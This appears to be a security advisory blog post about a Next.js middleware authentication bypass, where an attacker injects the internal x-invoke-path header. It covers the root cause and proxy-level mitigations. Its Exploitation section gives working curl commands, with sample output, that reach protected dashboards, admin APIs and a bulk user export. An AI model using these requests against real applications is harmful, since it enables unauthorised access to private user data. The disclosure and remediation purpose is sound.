All posts

CVE-2026-41203: Next.js Middleware Authentication Bypass via Internal Header Injection

Next.js uses an internal HTTP header (x-invoke-path) to route requests between its edge runtime and server components, bypassing the standard middleware execution path. This header is not stripped from incoming external requests in affected versions, allowing an unauthenticated attacker to access any middleware-protected route by injecting it directly. Every Next.js application that relies on middleware.ts for authentication is affected. CVSS 9.1.


Overview

CVE-2026-41203 is an authentication bypass in Next.js (versions 13.0.0 through 14.2.28 and 15.0.0 through 15.1.5) affecting any application that implements authentication or authorisation logic in the middleware.ts (or middleware.js) file. The vulnerability exploits the way Next.js handles internal routing headers that are used for server-side communication between the edge runtime and the Node.js rendering process.

When a request arrives bearing the x-invoke-path header, the Next.js router treats it as an internal sub-request originating from the edge runtime — which has already completed middleware processing — and routes it directly to the target page handler, skipping the entire middleware chain. Because affected versions do not validate or strip this header on externally received requests, any client can inject it to impersonate an internal routing operation and reach protected pages without authentication.

CWE-290 (Authentication Bypass by Spoofing) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N — 9.1 Critical

Next.js Middleware Architecture

Next.js middleware is a function that runs before a request is processed by a page or API route. It executes in an edge runtime (V8 isolate) and can inspect or modify the request, redirect it, or terminate it with a response. The canonical authentication pattern in Next.js applications is:

# Typical middleware.ts pattern
# File: middleware.ts (project root)
# Runs on every request matching the 'matcher' config
// middleware.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
import { verifyJWT } from './lib/auth'

export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value
  if (!token || !(await verifyJWT(token))) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
  return NextResponse.next()
}

export const config = {
  matcher: ['/dashboard/:path*', '/api/admin/:path*', '/settings/:path*']
}

This pattern is the officially documented approach for protecting routes and is used by a large fraction of Next.js applications in production. The Vercel documentation, multiple popular starter templates (NextAuth.js examples, Clerk integration guides), and community tutorials all demonstrate this pattern — making the scope of affected applications extremely broad.

Internally, when Next.js's edge runtime completes middleware processing and calls NextResponse.next(), it forwards the request to the Node.js server with an x-invoke-path header set to the resolved route path. The Node.js server uses this header to identify that middleware has already run and routes the request directly to the page handler, intentionally skipping the middleware invocation.

Root Cause — Header Not Stripped at Ingress

The vulnerability is that the Next.js server does not sanitise incoming requests for the x-invoke-path header before applying its middleware-skip logic. The relevant code in Next.js's request handler:

// Simplified from packages/next/src/server/base-server.ts (affected versions)
async function handleRequest(req, res) {
  // If x-invoke-path is present, this is an internal sub-request
  // from the edge middleware — skip middleware, route directly
  if (req.headers['x-invoke-path']) {
    const invokedPath = req.headers['x-invoke-path']
    return this.renderPage(invokedPath, req, res)  // no middleware, no auth check
  }
  // Otherwise, run the full middleware pipeline
  await this.runMiddleware(req, res)
  return this.renderPage(req.url, req, res)
}

The fix is straightforward: strip x-invoke-path (and several related internal headers such as x-invoke-query and x-middleware-rewrite) from any request that arrives on the external-facing port before applying this routing logic. In deployment environments where Next.js runs behind a reverse proxy (nginx, Cloudflare, AWS ALB), stripping these headers at the proxy level is a viable mitigation even before patching.

Exploitation

Basic Auth Bypass

Bypassing middleware-based authentication requires only a single header:

# Without the header — middleware redirects to /login
curl -s -o /dev/null -w "%{http_code}" https://target-app.com/dashboard
# 302 (redirect to /login)

# With x-invoke-path — middleware is skipped, dashboard loads directly
curl -s -o /dev/null -w "%{http_code}" \
  -H "x-invoke-path: /dashboard" \
  https://target-app.com/dashboard
# 200

Accessing Protected API Routes

API routes behind middleware — such as admin endpoints — are equally bypassed:

# Attempt to access admin API — normally requires authentication
curl -s https://target-app.com/api/admin/users
# {"error":"Unauthorized"}    (middleware returned 401)

# With header injection — API handler executes directly
curl -s \
  -H "x-invoke-path: /api/admin/users" \
  https://target-app.com/api/admin/users
# {"users":[{"id":1,"email":"[email protected]","role":"admin"}, ...]}

Combining with Other Headers

The x-invoke-query companion header allows injecting arbitrary query string parameters as if they were part of the original request. Applications that use query parameters for conditional logic (e.g., /api/export?format=csv&all=true) can have those parameters controlled by the attacker even if the base route is normally protected:

# Reach a bulk data export endpoint with attacker-controlled parameters
curl -s \
  -H "x-invoke-path: /api/admin/export" \
  -H "x-invoke-query: %7B%22format%22%3A%22json%22%2C%22all%22%3A%22true%22%7D" \
  https://target-app.com/api/admin/export
# Returns full user database export

Scope and Impact Assessment

The impact depends heavily on what the application's middleware is protecting. The vulnerability bypasses the authentication mechanism entirely — whatever the page or API route does once it receives an authenticated request, an unauthenticated attacker can now do too. Common high-impact scenarios:

Notably, applications hosted on Vercel (Next.js's creator's platform) are not affected by default — Vercel's edge network strips internal Next.js headers at the CDN layer before requests reach the application. Applications self-hosted on Node.js servers, Docker containers, or AWS Lambda (via next start or standalone output) without a stripping proxy in front are fully vulnerable.

Affected Versions

Remediation

# nginx — add to the server block handling the Next.js upstream
proxy_set_header x-invoke-path         "";
proxy_set_header x-invoke-query        "";
proxy_set_header x-middleware-rewrite  "";
proxy_set_header x-middleware-skip     "";
# Cloudflare Workers — add at the edge
request.headers.delete('x-invoke-path')
request.headers.delete('x-invoke-query')
request.headers.delete('x-middleware-rewrite')

Takeaways

References